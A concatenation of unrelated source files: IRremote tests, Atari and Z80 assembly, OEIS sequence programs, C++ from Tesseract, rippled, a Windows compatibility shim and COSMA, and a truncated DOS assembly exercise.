irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(TECO, 0x1234, kTecoBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(TECO, irsend.capture.decode_type); EXPECT_EQ(kTecoBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(VESTEL_AC, 0xF4410001FF1201, kVestelAcBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(VESTEL_AC, irsend.capture.decode_type); EXPECT_EQ(kVestelAcBits, irsend.capture.bits); EXPECT_EQ(0xF4410001FF1201, irsend.capture.value); irsend.reset(); ASSERT_TRUE(irsend.send(WHYNTER, 0x1234, kWhynterBits)); irsend.makeDecodeResult(); ASSERT_TRUE(irrecv.decode(&irsend.capture)); EXPECT_EQ(WHYNTER, irsend.capture.decode_type); EXPECT_EQ(kWhynterBits, irsend.capture.bits); EXPECT_EQ(0x1234, irsend.capture.value); } // Test some expected types to NOT work/produce a message via irsend:send() TEST(TestSend, GenericSimpleSendMethodFailure) { IRsendTest irsend(0); IRrecv irrecv(0); irsend.begin(); // Check nothing is sent for unexpected protocols irsend.reset(); ASSERT_FALSE(irsend.send(KELVINATOR, 0x1234, kKelvinatorBits)); irsend.makeDecodeResult(); ASSERT_FALSE(irrecv.decode(&irsend.capture)); // For every A/C protocol which decodes to having a state[]. for (int i = 0; i < 200; i++) { if (hasACState((decode_type_t)i) && i != GREE) { // Gree is an exception. // Check it fails. ASSERT_FALSE(irsend.send((decode_type_t)i, 0, 0)); } } // Test some other special cases. ASSERT_FALSE(irsend.send(UNKNOWN, 0, 0)); ASSERT_FALSE(irsend.send(UNUSED, 0, 0)); ASSERT_FALSE(irsend.send(RAW, 0, 0)); ASSERT_FALSE(irsend.send(PRONTO, 0, 0)); ASSERT_FALSE(irsend.send(GLOBALCACHE, 0, 0)); }
; TITLE SCREEN NMI .proc titleScreenDLI sta wsync pha inc counterDLI lda counterDLI cmp #1 beq dl1 cmp #2 beq dl2 cmp #3 beq dl3 pla rti dl1 lda #$14 sta colpf2 lda #$ee sta colpf1 lda #$34 sta colpf0 lda #>dataLogoFonts sta chbase pla rti dl2 lda color sta colpf0 lda #>dataTextFonts sta chbase pla rti dl3 lda color+1 sta colpf0 pla rti color dta b($80),(0) colorDelay dta b(2) colorTarget dta b($88),b($f) .endp .proc titleScreenHiScoreDLI sta wsync pha txa pha inc counterDLI lda counterDLI cmp #1 bne fadeInOut ; title logo lda #$14 sta colpf2 lda #$ee sta colpf1 lda #$34 sta colpf0 lda #>dataLogoFonts sta chbase pla tax pla rti fadeInOut lda #>dataTextFonts ; redundant every dli line but saves few bytes sta chbase rankingMode lda titleScreen.screenMode cmp #2 beq fadeIn cmp #3 beq fadeOut pla tax pla rti fadeIn ; we do it here so we have easy fadeIn swift per line ldx counterDLI dex dex lda rankingColors,x cmp rankingColorsTarget,x beq r1 dec rankingColorsDelay bne r1 lda #4 sta rankingColorsDelay inc rankingColors,x lda rankingColors,x r1 sta colpf0 pla tax pla rti fadeOut ldx counterDLI dex dex lda rankingColors,x and #$f beq r2 dec rankingColorsDelay bne r2 lda #4 sta rankingColorsDelay dec rankingColors,x lda rankingColors,x r2 sta colpf0 pla tax pla rti rankingColorsDelay dta b(4) rankingColorsMode dta b(0) rankingColors dta b($50),b($30),b($f0),b($d0),b($c0),b($90) rankingColorsTarget dta b($58),b($34),b($fa),b($de),b($c8),b($98) .endp ;--------------------- ; TITLE SCREEN VBLANK ;--------------------- .proc titleScreenVBL pha txa pha tya pha lda SCORE.doHighScoreFlag beq @+ jsr playfieldSoundVBL @ lda #0 sta counterDLI sta colbak lda #$88 sta colpf0 lda #>dataTextFonts sta chbase lda titleScreen.screenMode cmp #0 beq fadeIn cmp #1 beq fadeOut jmp skip fadeIn dec titleScreenDLI.colorDelay bne skip lda #2 sta titleScreenDLI.colorDelay lda titleScreenDLI.color cmp titleScreenDLI.colorTarget beq v1 inc titleScreenDLI.color v1 lda titleScreenDLI.color+1 cmp titleScreenDLI.colorTarget+1 beq skip inc titleScreenDLI.color+1 jmp skip fadeOut lda titleScreenDLI.color and #$f beq v2 dec titleScreenDLI.color v2 lda titleScreenDLI.color+1 and #$f beq skip dec titleScreenDLI.color+1 skip pla tay pla tax pla rti .endp
; A021903: Decimal expansion of 1/899. ; Submitted by Jamie Morken(s1.) ; 0,0,1,1,1,2,3,4,7,0,5,2,2,8,0,3,1,1,4,5,7,1,7,4,6,3,8,4,8,7,2,0,8,0,0,8,8,9,8,7,7,6,4,1,8,2,4,2,4,9,1,6,5,7,3,9,7,1,0,7,8,9,7,6,6,4,0,7,1,1,9,0,2,1,1,3,4,5,9,3,9,9,3,3,2,5,9,1,7,6,8,6,3,1,8,1,3,1,2,5 add $0,1 mov $2,10 pow $2,$0 div $2,899 mov $0,$2 mod $0,10
; Startup fo SAM Coupe ; ; Stefano 26/3/2001 ; ; If an error occurs eg break we just drop back to BASIC ; ; $Id: sam_crt0.asm,v 1.20 2016/06/21 20:49:06 dom Exp $ ; MODULE sam_crt0 ; ; Initially include the zcc_opt.def file to find out lots of lovely ; information about what we should do.. ; defc crt0 = 1 INCLUDE "zcc_opt.def" ; No matter what set up we have, main is always, always external to ; this fileb EXTERN _main ; ; Some variables which are needed for both app and basic startup ; PUBLIC cleanup PUBLIC l_dcal org 32768 start: ld (start1+1),sp ;Save entry stack ld hl,-64 ;Create the atexit stack add hl,sp ld sp,hl call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init; it takes ; all the space between the end of the program and UDG IF DEFINED_USING_amalloc ld hl,_heap ld c,(hl) inc hl ld b,(hl) inc bc ; compact way to do "mallinit()" xor a ld (hl),a dec hl ld (hl),a ; Stack is somewhere else, no need to reduce the size for malloc ld hl,65535 sbc hl,bc ; hl = total free memory push bc ; main address for malloc area push hl ; area size EXTERN sbrk_callee call sbrk_callee ENDIF ; Special SAM stuff goes here ; Set screen to mode 0 ld a,0 call $15A ; JMODE ; set stream to channel 's' (upper screen) ld a,2 call $112 ; JSETSTRM ; End of SAM stuff call _main cleanup: ; ; Deallocate memory which has been allocated here! ; push hl IF !DEFINED_nostreams EXTERN closeall call closeall ENDIF pop bc ; Special SAM stuff goes here ; End of SAM stuff start1: ld sp,0 ret l_dcal: jp (hl) defm "Small C+ SAM Coupe" defb 0 INCLUDE "crt0_runtime_selection.asm" INCLUDE "crt0_section.asm" SECTION code_crt_init ld hl,16384 ld (base_graphics),hl
#include <iostream> #include <cmath> int main() { int w; double bok_1, bok_2, bok_3, h, p, s; std::cout << "Obliczy pole trójkąta. Wypisz: \n 1-jeśli chcesz podać długośc podstawy i wysokość. \n 2-jeśli chcesz podać długość trzech boków\n"; std::cin >> w; if (w == 1) { std::cout << "Podaj długość podstawy trójkąta."; std::cin >> bok_1; std::cout << "Podaj wysokość trójkąta."; std::cin >> h; p = bok_1 * h / 2; } else { std::cout << "Podaj długość pierwszego boku trójkąta: "; std::cin >> bok_1; std::cout << "Podaj długość drugiego boku trójkąta: "; std::cin >> bok_2; std::cout << "Podaj długość trzeciego boku trójkąta: "; std::cin >> bok_3; s = (bok_1 + bok_2 + bok_3) / 2; p = sqrt(s * (s - bok_1) * (s - bok_2) * (s - bok_3)); } std::cout << "Pole trójkąta o podanych wymiarach wynosi " << p; return 0; }
/** * @file serialization.cpp * @brief Additional Boost serialization wrappers * @details Supports the following * - Eigen::VectorXd * - Eigen::Isometry3d * - Eigen::MatrixX2d * * @author Levi Armstrong * @date February 21, 2021 * @version TODO * @bug No known bugs * * @copyright Copyright (c) 2021, Southwest Research Institute * * @par License * Software License Agreement (Apache License) * @par * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * @par * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tesseract_common/macros.h> TESSERACT_COMMON_IGNORE_WARNINGS_PUSH #include <Eigen/Dense> #include <boost/serialization/base_object.hpp> #include <boost/serialization/nvp.hpp> #include <boost/serialization/array.hpp> TESSERACT_COMMON_IGNORE_WARNINGS_POP #include <tesseract_common/serialization.h> namespace boost { namespace serialization { /*****************************/ /****** Eigen::VectorXd ******/ /*****************************/ template <class Archive> void save(Archive& ar, const Eigen::VectorXd& g, const unsigned int /*version*/) { long rows = g.rows(); ar& BOOST_SERIALIZATION_NVP(rows); ar& boost::serialization::make_nvp("data", boost::serialization::make_array(g.data(), rows)); } template <class Archive> void load(Archive& ar, Eigen::VectorXd& g, const unsigned int /*version*/) { long rows; ar& BOOST_SERIALIZATION_NVP(rows); g.resize(rows); ar& boost::serialization::make_nvp("data", boost::serialization::make_array(g.data(), rows)); } template <class Archive> void serialize(Archive& ar, Eigen::VectorXd& g, const unsigned int version) { split_free(ar, g, version); } /*******************************/ /****** Eigen::Isometry3d ******/ /*******************************/ template <class Archive> void save(Archive& ar, const Eigen::Isometry3d& g, const unsigned int /*version*/) { ar& boost::serialization::make_nvp("xyz", boost::serialization::make_array(g.translation().data(), 3)); Eigen::Quaterniond q(g.linear()); ar& boost::serialization::make_nvp("xyzw", boost::serialization::make_array(q.vec().data(), 4)); } template <class Archive> void load(Archive& ar, Eigen::Isometry3d& g, const unsigned int /*version*/) { g.setIdentity(); ar& boost::serialization::make_nvp("xyz", boost::serialization::make_array(g.translation().data(), 3)); Eigen::Quaterniond q; ar& boost::serialization::make_nvp("xyzw", boost::serialization::make_array(q.vec().data(), 4)); q.normalize(); g.linear() = q.toRotationMatrix(); } template <class Archive> void serialize(Archive& ar, Eigen::Isometry3d& g, const unsigned int version) { split_free(ar, g, version); } /*****************************/ /****** Eigen::MatrixX2d *****/ /*****************************/ template <class Archive> void save(Archive& ar, const Eigen::MatrixX2d& g, const unsigned int /*version*/) { long rows = g.rows(); ar& BOOST_SERIALIZATION_NVP(rows); ar& boost::serialization::make_nvp("data", boost::serialization::make_array(g.data(), rows * 2)); } template <class Archive> void load(Archive& ar, Eigen::MatrixX2d& g, const unsigned int /*version*/) { long rows; ar& BOOST_SERIALIZATION_NVP(rows); g.resize(rows, 2); ar& boost::serialization::make_nvp("data", boost::serialization::make_array(g.data(), rows * 2)); } template <class Archive> void serialize(Archive& ar, Eigen::MatrixX2d& g, const unsigned int version) { split_free(ar, g, version); } } // namespace serialization } // namespace boost #include <boost/archive/xml_oarchive.hpp> #include <boost/archive/xml_iarchive.hpp> template void boost::serialization::save(boost::archive::xml_oarchive&, const Eigen::VectorXd& g, const unsigned int version); template void boost::serialization::load(boost::archive::xml_iarchive& ar, Eigen::VectorXd& g, const unsigned int version); template void boost::serialization::serialize(boost::archive::xml_oarchive& ar, Eigen::VectorXd& g, const unsigned int version); template void boost::serialization::serialize(boost::archive::xml_iarchive& ar, Eigen::VectorXd& g, const unsigned int version); template void boost::serialization::save(boost::archive::xml_oarchive&, const Eigen::Isometry3d& g, const unsigned int version); template void boost::serialization::load(boost::archive::xml_iarchive& ar, Eigen::Isometry3d& g, const unsigned int version); template void boost::serialization::serialize(boost::archive::xml_oarchive& ar, Eigen::Isometry3d& g, const unsigned int version); template void boost::serialization::serialize(boost::archive::xml_iarchive& ar, Eigen::Isometry3d& g, const unsigned int version); template void boost::serialization::save(boost::archive::xml_oarchive&, const Eigen::MatrixX2d& g, const unsigned int version); template void boost::serialization::load(boost::archive::xml_iarchive& ar, Eigen::MatrixX2d& g, const unsigned int version); template void boost::serialization::serialize(boost::archive::xml_oarchive& ar, Eigen::MatrixX2d& g, const unsigned int version); template void boost::serialization::serialize(boost::archive::xml_iarchive& ar, Eigen::MatrixX2d& g, const unsigned int version);
//------------------------------------------------------------------------------ /* This file is part of rippled: https://github.com/ripple/rippled Copyright (c) 2012, 2013 Ripple Labs Inc. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ //============================================================================== #include <BeastConfig.h> #include <ripple/app/tx/applySteps.h> #include <ripple/app/tx/impl/ApplyContext.h> #include <ripple/app/tx/impl/CancelOffer.h> #include <ripple/app/tx/impl/CancelTicket.h> #include <ripple/app/tx/impl/Change.h> #include <ripple/app/tx/impl/CreateOffer.h> #include <ripple/app/tx/impl/CreateTicket.h> #include <ripple/app/tx/impl/Escrow.h> #include <ripple/app/tx/impl/Payment.h> #include <ripple/app/tx/impl/SetAccount.h> #include <ripple/app/tx/impl/SetRegularKey.h> #include <ripple/app/tx/impl/SetSignerList.h> #include <ripple/app/tx/impl/SetTrust.h> #include <ripple/app/tx/impl/PayChan.h> namespace ripple { static TER invoke_preflight (PreflightContext const& ctx) { switch(ctx.tx.getTxnType()) { case ttACCOUNT_SET: return SetAccount ::preflight(ctx); case ttOFFER_CANCEL: return CancelOffer ::preflight(ctx); case ttOFFER_CREATE: return CreateOffer ::preflight(ctx); case ttPAYMENT: return Payment ::preflight(ctx); case ttESCROW_CREATE: return EscrowCreate ::preflight(ctx); case ttESCROW_FINISH: return EscrowFinish ::preflight(ctx); case ttESCROW_CANCEL: return EscrowCancel ::preflight(ctx); case ttREGULAR_KEY_SET: return SetRegularKey ::preflight(ctx); case ttSIGNER_LIST_SET: return SetSignerList ::preflight(ctx); case ttTICKET_CANCEL: return CancelTicket ::preflight(ctx); case ttTICKET_CREATE: return CreateTicket ::preflight(ctx); case ttTRUST_SET: return SetTrust ::preflight(ctx); case ttAMENDMENT: case ttFEE: return Change ::preflight(ctx); case ttPAYCHAN_CREATE: return PayChanCreate ::preflight(ctx); case ttPAYCHAN_FUND: return PayChanFund ::preflight(ctx); case ttPAYCHAN_CLAIM: return PayChanClaim ::preflight(ctx); default: assert(false); return temUNKNOWN; } } /* invoke_preclaim<T> uses name hiding to accomplish compile-time polymorphism of (presumably) static class functions for Transactor and derived classes. */ template<class T> static std::pair<TER, std::uint64_t> invoke_preclaim(PreclaimContext const& ctx) { // If the transactor requires a valid account and the transaction doesn't // list one, preflight will have already a flagged a failure. auto const id = ctx.tx.getAccountID(sfAccount); auto const baseFee = T::calculateBaseFee(ctx); if (id != zero) { TER result = T::checkSeq(ctx); if (result != tesSUCCESS) return { result, baseFee }; result = T::checkFee(ctx, baseFee); if (result != tesSUCCESS) return { result, baseFee }; result = T::checkSign(ctx); if (result != tesSUCCESS) return { result, baseFee }; } return{ T::preclaim(ctx), baseFee }; } static std::pair<TER, std::uint64_t> invoke_preclaim (PreclaimContext const& ctx) { switch(ctx.tx.getTxnType()) { case ttACCOUNT_SET: return invoke_preclaim<SetAccount>(ctx); case ttOFFER_CANCEL: return invoke_preclaim<CancelOffer>(ctx); case ttOFFER_CREATE: return invoke_preclaim<CreateOffer>(ctx); case ttPAYMENT: return invoke_preclaim<Payment>(ctx); case ttESCROW_CREATE: return invoke_preclaim<EscrowCreate>(ctx); case ttESCROW_FINISH: return invoke_preclaim<EscrowFinish>(ctx); case ttESCROW_CANCEL: return invoke_preclaim<EscrowCancel>(ctx); case ttREGULAR_KEY_SET: return invoke_preclaim<SetRegularKey>(ctx); case ttSIGNER_LIST_SET: return invoke_preclaim<SetSignerList>(ctx); case ttTICKET_CANCEL: return invoke_preclaim<CancelTicket>(ctx); case ttTICKET_CREATE: return invoke_preclaim<CreateTicket>(ctx); case ttTRUST_SET: return invoke_preclaim<SetTrust>(ctx); case ttAMENDMENT: case ttFEE: return invoke_preclaim<Change>(ctx); case ttPAYCHAN_CREATE: return invoke_preclaim<PayChanCreate>(ctx); case ttPAYCHAN_FUND: return invoke_preclaim<PayChanFund>(ctx); case ttPAYCHAN_CLAIM: return invoke_preclaim<PayChanClaim>(ctx); default: assert(false); return { temUNKNOWN, 0 }; } } static std::uint64_t invoke_calculateBaseFee(PreclaimContext const& ctx) { switch (ctx.tx.getTxnType()) { case ttACCOUNT_SET: return SetAccount::calculateBaseFee(ctx); case ttOFFER_CANCEL: return CancelOffer::calculateBaseFee(ctx); case ttOFFER_CREATE: return CreateOffer::calculateBaseFee(ctx); case ttPAYMENT: return Payment::calculateBaseFee(ctx); case ttESCROW_CREATE: return EscrowCreate::calculateBaseFee(ctx); case ttESCROW_FINISH: return EscrowFinish::calculateBaseFee(ctx); case ttESCROW_CANCEL: return EscrowCancel::calculateBaseFee(ctx); case ttREGULAR_KEY_SET: return SetRegularKey::calculateBaseFee(ctx); case ttSIGNER_LIST_SET: return SetSignerList::calculateBaseFee(ctx); case ttTICKET_CANCEL: return CancelTicket::calculateBaseFee(ctx); case ttTICKET_CREATE: return CreateTicket::calculateBaseFee(ctx); case ttTRUST_SET: return SetTrust::calculateBaseFee(ctx); case ttAMENDMENT: case ttFEE: return Change::calculateBaseFee(ctx); case ttPAYCHAN_CREATE: return PayChanCreate::calculateBaseFee(ctx); case ttPAYCHAN_FUND: return PayChanFund::calculateBaseFee(ctx); case ttPAYCHAN_CLAIM: return PayChanClaim::calculateBaseFee(ctx); default: assert(false); return 0; } } template<class T> static TxConsequences invoke_calculateConsequences(STTx const& tx) { auto const category = T::affectsSubsequentTransactionAuth(tx) ? TxConsequences::blocker : TxConsequences::normal; auto const feePaid = T::calculateFeePaid(tx); auto const maxSpend = T::calculateMaxSpend(tx); return{ category, feePaid, maxSpend }; } static TxConsequences invoke_calculateConsequences(STTx const& tx) { switch (tx.getTxnType()) { case ttACCOUNT_SET: return invoke_calculateConsequences<SetAccount>(tx); case ttOFFER_CANCEL: return invoke_calculateConsequences<CancelOffer>(tx); case ttOFFER_CREATE: return invoke_calculateConsequences<CreateOffer>(tx); case ttPAYMENT: return invoke_calculateConsequences<Payment>(tx); case ttESCROW_CREATE: return invoke_calculateConsequences<EscrowCreate>(tx); case ttESCROW_FINISH: return invoke_calculateConsequences<EscrowFinish>(tx); case ttESCROW_CANCEL: return invoke_calculateConsequences<EscrowCancel>(tx); case ttREGULAR_KEY_SET: return invoke_calculateConsequences<SetRegularKey>(tx); case ttSIGNER_LIST_SET: return invoke_calculateConsequences<SetSignerList>(tx); case ttTICKET_CANCEL: return invoke_calculateConsequences<CancelTicket>(tx); case ttTICKET_CREATE: return invoke_calculateConsequences<CreateTicket>(tx); case ttTRUST_SET: return invoke_calculateConsequences<SetTrust>(tx); case ttPAYCHAN_CREATE: return invoke_calculateConsequences<PayChanCreate>(tx); case ttPAYCHAN_FUND: return invoke_calculateConsequences<PayChanFund>(tx); case ttPAYCHAN_CLAIM: return invoke_calculateConsequences<PayChanClaim>(tx); case ttAMENDMENT: case ttFEE: // fall through to default default: assert(false); return { TxConsequences::blocker, Transactor::calculateFeePaid(tx), beast::zero }; } } static std::pair<TER, bool> invoke_apply (ApplyContext& ctx) { switch(ctx.tx.getTxnType()) { case ttACCOUNT_SET: { SetAccount p(ctx); return p(); } case ttOFFER_CANCEL: { CancelOffer p(ctx); return p(); } case ttOFFER_CREATE: { CreateOffer p(ctx); return p(); } case ttPAYMENT: { Payment p(ctx); return p(); } case ttESCROW_CREATE: { EscrowCreate p(ctx); return p(); } case ttESCROW_FINISH: { EscrowFinish p(ctx); return p(); } case ttESCROW_CANCEL: { EscrowCancel p(ctx); return p(); } case ttREGULAR_KEY_SET: { SetRegularKey p(ctx); return p(); } case ttSIGNER_LIST_SET: { SetSignerList p(ctx); return p(); } case ttTICKET_CANCEL: { CancelTicket p(ctx); return p(); } case ttTICKET_CREATE: { CreateTicket p(ctx); return p(); } case ttTRUST_SET: { SetTrust p(ctx); return p(); } case ttAMENDMENT: case ttFEE: { Change p(ctx); return p(); } case ttPAYCHAN_CREATE: { PayChanCreate p(ctx); return p(); } case ttPAYCHAN_FUND: { PayChanFund p(ctx); return p(); } case ttPAYCHAN_CLAIM: { PayChanClaim p(ctx); return p(); } default: assert(false); return { temUNKNOWN, false }; } } PreflightResult preflight(Application& app, Rules const& rules, STTx const& tx, ApplyFlags flags, beast::Journal j) { PreflightContext const pfctx(app, tx, rules, flags, j); try { return{ pfctx, invoke_preflight(pfctx) }; } catch (std::exception const& e) { JLOG(j.fatal()) << "apply: " << e.what(); return{ pfctx, tefEXCEPTION }; } } PreclaimResult preclaim (PreflightResult const& preflightResult, Application& app, OpenView const& view) { boost::optional<PreclaimContext const> ctx; if (preflightResult.rules != view.rules()) { auto secondFlight = preflight(app, view.rules(), preflightResult.tx, preflightResult.flags, preflightResult.j); ctx.emplace(app, view, secondFlight.ter, secondFlight.tx, secondFlight.flags, secondFlight.j); } else { ctx.emplace( app, view, preflightResult.ter, preflightResult.tx, preflightResult.flags, preflightResult.j); } try { if (ctx->preflightResult != tesSUCCESS) return { *ctx, ctx->preflightResult, 0 }; return{ *ctx, invoke_preclaim(*ctx) }; } catch (std::exception const& e) { JLOG(ctx->j.fatal()) << "apply: " << e.what(); return{ *ctx, tefEXCEPTION, 0 }; } } std::uint64_t calculateBaseFee(Application& app, ReadView const& view, STTx const& tx, beast::Journal j) { PreclaimContext const ctx( app, view, tesSUCCESS, tx, tapNONE, j); return invoke_calculateBaseFee(ctx); } TxConsequences calculateConsequences(PreflightResult const& preflightResult) { assert(preflightResult.ter == tesSUCCESS); if (preflightResult.ter != tesSUCCESS) return{ TxConsequences::blocker, Transactor::calculateFeePaid(preflightResult.tx), beast::zero }; return invoke_calculateConsequences(preflightResult.tx); } std::pair<TER, bool> doApply(PreclaimResult const& preclaimResult, Application& app, OpenView& view) { if (preclaimResult.view.seq() != view.seq()) { // Logic error from the caller. Don't have enough // info to recover. return{ tefEXCEPTION, false }; } try { if (!preclaimResult.likelyToClaimFee) return{ preclaimResult.ter, false }; ApplyContext ctx(app, view, preclaimResult.tx, preclaimResult.ter, preclaimResult.baseFee, preclaimResult.flags, preclaimResult.j); return invoke_apply(ctx); } catch (std::exception const& e) { JLOG(preclaimResult.j.fatal()) << "apply: " << e.what(); return { tefEXCEPTION, false }; } } } // ripple
/* Copyright (c) 2000 Microsoft Corporation Module Name: ProfilesEnvStrings.cpp Abstract: This DLL hooks GetEnvironmentVariableA and ExpandEnvironmentStringsA. Any application that is looking for %USERPROFILE% will be told the location of %ALLUSERSPROFILE% instead. This shim is designed to fool install apps that use env variables obtain the users profile location. Notes: History: 08/07/2000 reinerf Created 02/28/2001 robkenny Converted to CString */ #include "precomp.h" IMPLEMENT_SHIM_BEGIN(ProfilesEnvStrings) #include "ShimHookMacro.h" APIHOOK_ENUM_BEGIN APIHOOK_ENUM_ENTRY(GetEnvironmentVariableA) APIHOOK_ENUM_ENTRY(ExpandEnvironmentStringsA) APIHOOK_ENUM_END // if apps try to read the %USERPROFILE% env variable, we lie to them DWORD APIHOOK(GetEnvironmentVariableA)( LPCSTR lpName, // environment variable name LPSTR lpBuffer, // buffer for variable value DWORD nSize // size of buffer ) { if (CompareStringA(MAKELCID(MAKELANGID(LANG_ENGLISH,SUBLANG_NEUTRAL),SORT_DEFAULT), NORM_IGNORECASE, lpName, -1, "USERPROFILE",-1) == CSTR_EQUAL) { LOGN( eDbgLevelInfo, "[GetEnvironmentVariableA] overriding USERPROFILE with ALLUSERSPROFILE."); return ORIGINAL_API(GetEnvironmentVariableA)("ALLUSERSPROFILE", lpBuffer, nSize); } return ORIGINAL_API(GetEnvironmentVariableA)(lpName, lpBuffer, nSize); } DWORD APIHOOK(ExpandEnvironmentStringsA)( LPCSTR lpSrc, // string with environment variables LPSTR lpDst, // string with expanded strings DWORD nSize // maximum characters in expanded string ) { DWORD dwRet = 0; CSTRING_TRY { // replace UserProfile with AllUserProfile CString csEnvironments(lpSrc); csEnvironments.ReplaceI(L"%userprofile%", L"%alluserprofile%"); dwRet = ORIGINAL_API(ExpandEnvironmentStringsA)(csEnvironments.GetAnsi(), lpDst, nSize); } CSTRING_CATCH { dwRet = ORIGINAL_API(ExpandEnvironmentStringsA)(lpSrc, lpDst, nSize); } return dwRet; } BOOL NOTIFY_FUNCTION( DWORD fdwReason ) { if (fdwReason == DLL_PROCESS_ATTACH) { OSVERSIONINFOEX osvi = {0}; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if (GetVersionEx((OSVERSIONINFO*)&osvi)) { if (!((VER_SUITE_TERMINAL & osvi.wSuiteMask) && !(VER_SUITE_SINGLEUSERTS & osvi.wSuiteMask))) { // // Only install hooks if we are not on a "Terminal Server" // (aka "Application Server") machine. // APIHOOK_ENTRY(KERNEL32.DLL, GetEnvironmentVariableA); APIHOOK_ENTRY(KERNEL32.DLL, ExpandEnvironmentStringsA); } } } return TRUE; } HOOK_BEGIN CALL_NOTIFY_FUNCTION HOOK_END IMPLEMENT_SHIM_END
; A094248: Consider 3 X 3 matrix M = [0 1 0 / 0 0 1 / 5 2 0]; a(n) = the center term in M^n * [1 1 1]. ; Submitted by Christian Krause ; 1,7,7,19,49,73,193,391,751,1747,3457,7249,15649,31783,67543,141811,294001,621337,1297057,2712679,5700799,11910643,24964993,52325281,109483201,229475527,480592807,1006367059,2108563249,4415698153,9248961793,19374212551,40576414351,84993234067,178023891457,372868539889,781013953249,1635856537063,3426370605943,7176782840371,15032023897201,31485418710457,65947961996257,138130956906919,289323017544799,606001723795123,1269300819624193,2658618535314241,5568610258224001,11663741168749447 lpb $0 sub $0,1 mov $1,$4 mul $1,2 div $4,2 add $1,$4 add $1,$3 add $1,1 mul $2,2 mov $4,$3 mov $3,$2 mov $2,$1 lpe mov $0,$1 mul $0,6 add $0,1
#include <cassert> #include <complex> #include <cosma/memory_pool.hpp> #include <iostream> #include <mpi.h> template <typename T> cosma::memory_pool<T>::memory_pool() { } template <typename T> cosma::memory_pool<T>::memory_pool(size_t capacity) { pool_.reserve(capacity); } template <typename T> cosma::memory_pool<T>::~memory_pool() { } template <typename T> size_t cosma::memory_pool<T>::get_buffer_id(size_t size) { assert(size > 0); size_t offset = pool_size_; pool_size_ += size; ++n_buffers_; return offset; } template <typename T> T* cosma::memory_pool<T>::get_buffer_pointer(size_t id) { if (pool_size_ > pool_capacity_) { resize(pool_size_); } assert(id < pool_capacity_); return pool_.data() + id; } template <typename T> void cosma::memory_pool<T>::free_buffer(T* ptr, size_t size) { // std::cout << "freeing buffer of size " << size << ", current size = " << pool_size_ << std::endl; assert(pool_size_ >= size); pool_size_ -= size; --n_buffers_; // check if this buffer was on top of the memory pool assert(pool_.data() + pool_size_ == ptr); } template <typename T> void cosma::memory_pool<T>::resize(size_t capacity) { pool_.resize(capacity); pool_size_ = capacity; pool_capacity_ = capacity; } template <typename T> void cosma::memory_pool<T>::reset() { pool_size_ = 0; n_buffers_ = 0; } template <typename T> T* cosma::memory_pool<T>::get_pool_pointer() { return pool_.data(); } template <typename T> void cosma::memory_pool<T>::turn_on_output() { output = true; } template <typename T> size_t cosma::memory_pool<T>::size() { return pool_size_; } template <typename T> void cosma::memory_pool<T>::reserve(size_t size) { if (size > pool_capacity_) { pool_.reserve(1.2 * (pool_capacity_ + size)); } } template class cosma::memory_pool<double>; template class cosma::memory_pool<float>; template class cosma::memory_pool<std::complex<double>>; template class cosma::memory_pool<std::complex<float>>;
; ;;;;; ;;;;; ;;;;;;; ; ; ;;;;;; ; ; ; ; ; ; ; ; ; ; ;; ;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;;;;; ;;;;; ;;;;; ; ; ; ;;;;;; ; ; ;;;;;;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;;;;; ;;;;; ;;;;;;; ; ; ;;;;;; ;;;;;;; ; ; ;;;;; ;;;;; ;;; ;;;;; ; ; ; ; ;;;;;;; ; ; ;;;;;;; ; ; ; ; ; ; ; ; ; ;; ; ;; ;; ; ;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;;;;; ;;;;; ; ; ;;;; ; ; ; ; ; ; ;;;;; ; ; ; ; ;;;;;;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;; ; ; ; ; ;; ; ; ; ;;;;; ;;;;; ;;; ;;;;; ; ; ; ; ;;;;;;; ; ; ; ;;;;; ; ; ; ;;;;; ; ; ;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;; ;;;;;;;;;;; ;;;;;;; Name : Zaid Abdullah Abu-Tarboush ;;;;;;;;;;; ;;;;;;; ID : 1537512 ;;;;;;;;;;; ;;;;;;; ;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .model small .data Welcome db "Type in a letter, capital only.$" Choices db "T: TOP, S: Side, F: Front, A: All$" ViewLetter db "Enter View Letter: $" Choice db ? .code .startup MOV DX, offset Welcome MOV AH, 9 INT 21h MOV DX, 0Dh MOV AH, 2h INT 21h MOV DX,0Ah MOV AH,2h INT 21h MOV DX, offset Choices MOV AH, 9 